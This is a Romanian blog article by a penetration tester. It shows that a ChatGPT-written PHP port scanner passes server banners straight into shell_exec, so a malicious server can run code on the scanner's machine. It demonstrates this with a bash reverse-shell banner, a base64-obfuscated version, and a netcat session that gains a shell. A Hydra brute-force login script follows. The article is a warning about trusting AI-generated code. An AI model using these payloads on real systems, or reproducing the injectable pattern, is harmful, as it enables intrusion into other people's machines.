ChatGPT, un instrument atât de special încât se vorbește despre el peste tot. De asemenea, în contextul amenințărilor pe care le aduce pentru industriile potențiale (de exemplu programatorii), deoarece oamenii se tem pentru site-urile lor. Ei menționează și avantajele, adică accelerarea muncii mai multor grupuri de angajați, precum testerii de penetrare. Întrucât sunt unul dintre ei, am decis să verific ce poate oferi această creativitate în secolul XXI.
Așa că am creat următorul prompt (o instrucțiune pentru bot, pe baza căreia va genera scriptul potrivit pentru mine):
Bună, dragă chat GPT, vă rugăm să jucați rolul unui expert în securitate IT și să scrieți un articol despre utilizarea tehnologiei, cum ar fi chat-ul GPT, pentru a crea instrumente utile în munca de testare a penetrației. Instrumentul pe care îl veți descrie este un scanner de porturi cu funcția de detectare a bannerelor serviciilor de identificare CVE pentru acesta. |
Botul s-a gândit un moment și a răspuns după cum urmează:
Desigur, vă prezint mai jos un articol despre utilizarea chat-urilor GPT ca suport pentru crearea scanerelor de porturi, inclusiv detectarea steagurilor și găsirea CVE-urilor versiunilor de servicii găsite. Sistemele de testare de securitate necesită utilizarea diferitelor instrumente, inclusiv un scanner de porturi. O modalitate de a crește eficiența testării este utilizarea tehnologiilor AI avansate, cum ar fi chat-ul GPT, care poate fi un suport neprețuit pentru testerii de penetrare. Chat-ul GPT poate fi folosit pentru a genera automat codul de script de testare, inclusiv scripturile de scanare a porturilor. Datorită utilizării acestei tehnologii, este posibil să se creeze scenarii de atac realiste și să se genereze automat scripturi pentru testarea securității. Mai jos este un exemplu de cod PHP pentru scanarea portului, cu funcționalitate suplimentară pentru a detecta bannere și a căuta CVE-uri pentru versiunile de servicii găsite, generate de chat-ul GPT: |
<?php $host = 'example.com'; // adres IP lub nazwa domenowa $ports = array(21, 22, 80, 443, 3306); // lista portów do przetestowania foreach ($ports as $port) { $connection = @fsockopen($host, $port, $errno, $errstr, 1); if (is_resource($connection)) { echo "Port $port is open \n"; // wykrywanie bannerów $banner = fgets($connection, 4096); echo "Banner: $banner \n"; // szukanie CVE dla znalezionych wersji usług $cve = shell_exec("searchsploit --color $banner"); echo "CVEs: $cve"; fclose($connection); } else { echo "Port $port is closed \n"; } } ?>
Detectarea bannerului poate ajuta testerii să identifice versiunile de software pe care le folosesc, permițându-le să verifice mai rapid dacă un anumit serviciu conține vulnerabilități de securitate cunoscute. Utilizarea instrumentelor de cercetare CVE pentru versiunile găsite poate permite testatorilor să găsească rapid informații despre potențialele vulnerabilități, permițând implementarea mai rapidă a protecției adecvate și prevenirea atacurilor.
Unul dintre instrumentele populare pentru găsirea de informații despre CVE este SearchSploit, care este un instrument disponibil în Kali Linux. În exemplul de mai sus, scriptul PHP folosește acest instrument pentru a căuta CVE-uri pentru bannerele pe care le găsește.
Un aspect important al testării de penetrare este, de asemenea, raportarea vulnerabilităților de securitate care sunt găsite. ChatGPT vă poate ajuta să generați automat rapoarte bazate pe rezultatele testelor, permițându-vă să raportați vulnerabilități și recomandări de securitate mai rapid și mai eficient.
În concluzie, utilizarea chatGPT ca suport pentru testerii de penetrare poate crește foarte mult eficacitatea testelor de securitate. Adăugarea de funcționalități precum detectarea bannerelor și căutarea versiunilor găsite poate ajuta testerii să identifice și să remedieze rapid potențialele vulnerabilități. Raportarea automată poate ajuta, de asemenea, la comunicarea vulnerabilităților și a recomandărilor de securitate mai rapid și mai eficient.La prima vedere, ați putea crede că este o afacere grozavă. Urmând această cale, orice instrument necesar pentru a efectua teste individuale de penetrare poate fi creat foarte rapid folosind bot-ul menționat mai sus. Cu toate acestea, când te uiți la conținutul codului returnat la noi, poți vedea că există o problemă.
Graficele au fost create folosind: https://imgflip.com/memegenerator
Instrumentul creat cu ajutorul inteligenței artificiale, menit să faciliteze munca pentesterului, a devenit, drept urmare, un instrument care permite accesul de la distanță al unei persoane neautorizate la mașina de pe care va fi executat codul.
Deci, să analizăm codul de mai sus și să vedem ce se întâmplă.
$banner = fgets($connection, 4096);Linia de cod responsabilă pentru descărcarea bannerelor de serviciu nu filtrează datele primite. În rândurile următoare puteți vedea că este atribuită unei variabile $banner Valoarea este inserată direct (încă fără filtre) în instrucțiunea responsabilă cu executarea comenzii de sistem pe computerul de laborator:
$cve = shell_exec("searchsploit --color $banner");directii shell_exec Apelează o comandă din shell-ul sistemului (cum ar fi bash).
în cazul valorii variabilei $banner Obținut de la serverul testat în siguranță, scriptul va funcționa conform intenției și își va face treaba verificând vulnerabilitățile serviciului compilat folosind instrumentul searchsploit.
Pe scurt, un exemplu de banner de serviciu valid „Apache 2.0” ne va returna un rezultat (CVE) pentru o anumită versiune de server. Dar dacă serverul testat nu are astfel de date, dar are o sarcină serioasă?
Ca parte a scenariului de testare, am configurat un server în tehnologia mea preferată (PHP), care servește ambele variante (securizat și mai puțin PoC).
<?php set_time_limit(0); ob_implicit_flush(); $address = '127.0.0.1′; $port = 10001; if (($socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) { echo „Couldn’t create socket” .socket_strerror(socket_last_error()).”\n”; } if (socket_bind($socket, $address, $port) === false) { echo „Bind Error „.socket_strerror(socket_last_error($sock)) .”\n”; } if (socket_listen($socket, 5) === false) { echo „Listen Failed „.socket_strerror(socket_last_error($socket)) . „\n”; } do { if (($msgsock = socket_accept($socket)) === false) { echo „Error: socket_accept: ” . socket_strerror(socket_last_error($socket)) . „\n”; break; } /* Poprawna wiadomość */ $msg = „Apache 2.0”; /* Atak na host skanującego */ //$msg = „Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1”; socket_write($msgsock, $msg, strlen($msg)); socket_close($msgsock); } while (true); socket_close($socket); ?>Când rulați primul test și rulați serverul de mai sus pentru variabila de mai sus, vom obține informații despre logo-ul compilat (și în cazul meu, nici un searchsploit).
Codul instrumentului creat de Chat GPT (adresa IP și intervalul de porturi schimbate):
<?php $host = '127.0.0.1'; // adres IP lub nazwa domenowa $ports = array(2000,10001); // lista portów do przetestowania foreach ($ports as $port) { $connection = @fsockopen($host, $port, $errno, $errstr, 1); if (is_resource($connection)) { echo "Port $port is open \n"; // wykrywanie bannerów $banner = fgets($connection, 4096); echo "Banner: $banner \n"; // szukanie CVE dla znalezionych wersji usług $cve = shell_exec("searchsploit --color $banner"); echo "CVEs: $cve"; fclose($connection); } else { echo "Port $port is closed \n"; } } ?>Rezultatul rulării scriptului:
php scan.php Port 2000 is closed Port 10001 is open Banner: Apache 2.0 sh: searchsploit: command not found CVEs:
În pasul următor, comentăm în codul serverului linia responsabilă pentru bannerul corect și lăsăm versiunea sa alternativă, mai puțin sigură, testerului:
/* Poprawna wiadomość */ //$msg = "Apache 2.0"; /* Atak na host skanującego */ $msg = "Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1";Repornim serverul cu codul modificat și, între timp, în a doua fereastră de terminal, pornim serverul nc pentru a asculta conexiunea inversă shell de intrare descrisă în variabila $mesaj.
Exemplu de apelare a serverului nc pentru conexiuni de intrare (versiunea macOS):
nc -l 127.0.0.1 4242
Ultimul pas, reporniți scanerul:
php scan.php Port 2000 is closed Port 10001 is open Banner: Apache 2.0|bash -i >& /dev/tcp/127.0.0.1/4242 0>&1 sh: searchsploit: command not found CVEs:
Atacul a reușit deoarece într-o fereastră de terminal cu nc-server rulează – a fost stabilită o conexiune la mașina persoanei care verifică serverul nostru:
nc -l 127.0.0.1 4242 bash: no job control in this shell The default interactive shell is now zsh. To update your account to use zsh, please run `chsh -s /bin/zsh`. For more details, please visit https://support.apple.com/kb/HT208050. bash-3.2$ ls -la total 16 drwxr-xr-x 4 rk staff 128 22 kwi 21:39 . drwx------@ 1764 rk staff 56448 22 kwi 22:07 .. -rw-r--r--@ 1 rk staff 589 22 kwi 22:12 scan.php -rw-r--r--@ 1 rk staff 951 22 kwi 22:29 server.php bash-3.2$ echo hacked>own.txt bash-3.2$ ls -la total 24 drwxr-xr-x 5 rk staff 160 22 kwi 22:30 . drwx------@ 1764 rk staff 56448 22 kwi 22:07 .. -rw-r--r-- 1 rk staff 7 22 kwi 22:30 own.txt -rw-r--r--@ 1 rk staff 589 22 kwi 22:12 scan.php -rw-r--r--@ 1 rk staff 951 22 kwi 22:29 server.php bash-3.2$ cat own.txt hacked bash-3.2$
Întregul atac este disponibil și în videoclipul de mai jos:
În timp ce scriam articolul, când l-am dat unui prieten să-l revizuiască, a menționat că atunci când cineva vede un banner pe ecran merită „bash -i> & /dev/tcp/127.0.0.1/4242 0> & 1‘, acest lucru va întrerupe imediat accesul la internet. Sarcina utilă pregătită este doar un exemplu, puteți oricând să modificați codul serverului pentru ca sarcina utilă să fie mai ofuscată:
$msg = "Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh";Afișarea pe ecranul testerului atunci când încercați să scanați va fi după cum urmează:
php scan.php Port 2000 is closed Port 10002 is open Banner: Apache 2.0|base64 -D <<< YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDI0MiAwPiYx | sh sh: searchsploit: command not found CVEs:
Există multe forme diferite de ofuscare a codului, de la formatul clasic hexazecimal până la criptare.
Pe scurt, noile tehnologii ne oferă noi oportunități, dar să le folosim cu prudență. Să nu lăsăm lenea să ne conducă la faptul că începem să avem încredere implicit în soluțiile care ni se oferă. În plus, să aplicăm principiul încrederii limitate, deoarece codul de mai sus este obținut de pe Internet (bot), așa că să-l tratăm ca orice alt cod de pe Internet – nu este al nostru, așa că haideți să-i verificăm conținutul.
Atacul de mai sus necesită mai mulți factori și condiții. Atacatorul trebuie să aibă un server special conceput care a fost ținta hackerului sau a verificatorului AI. Cu toate acestea, potențialul de cod periculos nu se limitează la acest tip de soluție. Ele sunt cunoscute în istorie cazuri Arhivele sau exploit-uri GitHub infectate, a căror țintă nu erau serviciile vulnerabile, ci computerul persoanei pe care au fost lansate.
–
În opinia mea – AI în forma sa actuală nu va elimina munca testerilor de securitate IT. Datorită tehnologiei descrise mai sus, munca nu poate fi decât mărită.
Atenţie!
important pentru cititor -Folosind un alt prompt, am cerut un chat GPT pentru un alt instrument și am subliniat vulnerabilitățile de securitate / am configurat un PoC (Proof of Concept).pentru primele 5 persoanecare va indica furnizarea soluţiei corecte Premii – Soluția trebuie trimisă la adresa de e-mail: [email protected].
convocat:
Asumați-vă rolul unui expert în securitate IT și scrieți un exemplu de script în PHP care preia informații despre orice formular de conectare (al cărui ID nu îl cunoaștem) de la adresa URL indicată și apoi efectuează un atac de forță brută asupra utilizatorului „admin”. folosind Hidraulica Răspuns:
În primul rând, trebuie să descarcăm conținutul site-ului și să găsim formularul de autentificare. Pentru aceasta putem folosi biblioteca cURL și analizatorul HTML precum DOMDocument. Apoi, odată ce găsim formularul de autentificare, putem forța utilizarea instrumentului Hydra asupra utilizatorului „admin”.
Iată un exemplu de cod PHP care îndeplinește această sarcină:
<?php // Adres URL formularza logowania $url = "https://example.com/login"; // Użytkownik i hasło, dla których wykonamy atak brute force $username = "admin"; $wordlist = "/path/to/wordlist.txt"; // Pobierz zawartość strony $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $html = curl_exec($ch); curl_close($ch); // Utwórz obiekt DOMDocument i wczytaj HTML $dom = new DOMDocument(); @$dom->loadHTML($html); // Znajdź formularz logowania $forms = $dom->getElementsByTagName("form"); foreach ($forms as $form) { if (strtolower($form->getAttribute("method")) === "post") { // Znaleźliśmy formularz logowania // Znajdź pola formularza $inputs = $form->getElementsByTagName("input"); $post_data = array(); foreach ($inputs as $input) { $name = $input->getAttribute("name"); $value = $input->getAttribute("value"); if (!empty($name)) { $post_data[$name] = $value; } } // Wykonaj atak brute force za pomocą Hydra $command = "hydra -L $username -P $wordlist $url"; foreach ($post_data as $name => $value) { $command .= " \"$name=$value\""; } $output = shell_exec($command); // Wyświetl wynik ataku echo $output; // Przerwij pętlę, ponieważ znaleźliśmy formularz logowania break; } } ?>
Trebuie remarcat faptul că acest simbol este doar pentru afișare și nu trebuie utilizat pentru activități ilegale. Atacurile cu forță brută sunt ilegale, iar efectuarea lor fără acordul proprietarului sistemului este pedepsită prin lege. Robert Krusik, Hacking W Securitate
„Fanatic pe tot parcursul vieții. Cititor devotat. Jucător. Antreprenor extrem.”